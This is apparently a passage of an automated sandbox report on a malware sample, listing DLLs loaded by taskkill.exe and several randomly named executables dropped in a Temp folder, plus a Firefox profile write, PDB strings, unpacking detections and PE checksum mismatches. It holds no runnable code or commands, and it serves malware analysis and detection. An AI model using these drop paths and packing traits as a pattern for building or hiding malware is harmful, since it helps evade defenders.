Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002977001\67333e07f4.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002978001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\UZBCRYPU48GDO3ZVW9XB351D36.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002975001\ff3d383111.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\ykDoK8BtxW.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: ykDoK8BtxW.exe

Static file information: File size 3458576 > 1048576

Source: ykDoK8BtxW.exe

Static PE information: Raw size of .boot is bigger than: 0x100000 < 0x2ec000

Source:	Binary string: my_library.pdbU source: 6e2c49386e.exe, 00000006.00000002.1926357964.00000000002FC000.00000040.00000001.01000000.00000009.sdmp, 6e2c49386e.exe, 00000006.00000003.1886057556.0000000004CCB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000023.00000000.2187679070.0000000000B5C000.00000008.00000001.01000000.00000013.sdmp
Source:	Binary string: my_library.pdb source: 6e2c49386e.exe, 00000006.00000002.1926357964.00000000002FC000.00000040.00000001.01000000.00000009.sdmp, 6e2c49386e.exe, 00000006.00000003.1886057556.0000000004CCB000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000023.00000000.2187679070.0000000000B5C000.00000008.00000001.01000000.00000013.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: skotes.exe, skotes.exe, 00000003.00000002.1702043919.000000000034C000.00000040.00000001.01000000.00000007.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Unpacked PE file: 6.2.6e2c49386e.exe.2d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fefgvzwf:EW;bzufikti:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fefgvzwf:EW;bzufikti:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002976001\6e2c49386e.exe	Unpacked PE file: 28.2.6e2c49386e.exe.2d0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fefgvzwf:EW;bzufikti:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fefgvzwf:EW;bzufikti:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1002979001\9c961c26ae.exe	Unpacked PE file: 29.2.9c961c26ae.exe.ef0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;fefgvzwf:EW;bzufikti:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;fefgvzwf:EW;bzufikti:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\51BTKCWY8DV7OGJHONB1TD.exe	Unpacked PE file: 33.2.51BTKCWY8DV7OGJHONB1TD.exe.b10000.0.unpack :EW;.rsrc:W;.idata :W;gwksigml:EW;xtwnmccs:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe	Unpacked PE file: 34.2.7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.2b0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;whlejstb:EW;gsptuyyn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;whlejstb:EW;gsptuyyn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\3037R2U7Z5DR93TNCEXVFKDF.exe	Unpacked PE file: 36.2.3037R2U7Z5DR93TNCEXVFKDF.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W;gwksigml:EW;xtwnmccs:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: 6e2c49386e.exe.1.dr	Static PE information: real checksum: 0x216f66 should be: 0x20989c
Source: 7CI9VGFBD8A8ASDDKT72KGPEDXHN.exe.4.dr	Static PE information: real checksum: 0x1cce32 should be: 0x1d53a2
Source: ff3d383111.exe.1.dr	Static PE information: real checksum: 0x2dcec6 should be: 0x2d8336
Source: num.exe.1.dr	Static PE information: real checksum: 0x0 should be: 0xdb9be
Source: 3037R2U7Z5DR93TNCEXVFKDF.exe.9.dr	Static PE information: real checksum: 0x2b3680 should be: 0x2baa8c
Source: UZBCRYPU48GDO3ZVW9XB351D36.exe.9.dr	Static PE information: real checksum: 0x1cce32 should be: 0x1d53a2
Source: 51BTKCWY8DV7OGJHONB1TD.exe.4.dr	Static PE information: real checksum: 0x2b3680 should be: 0x2baa8c
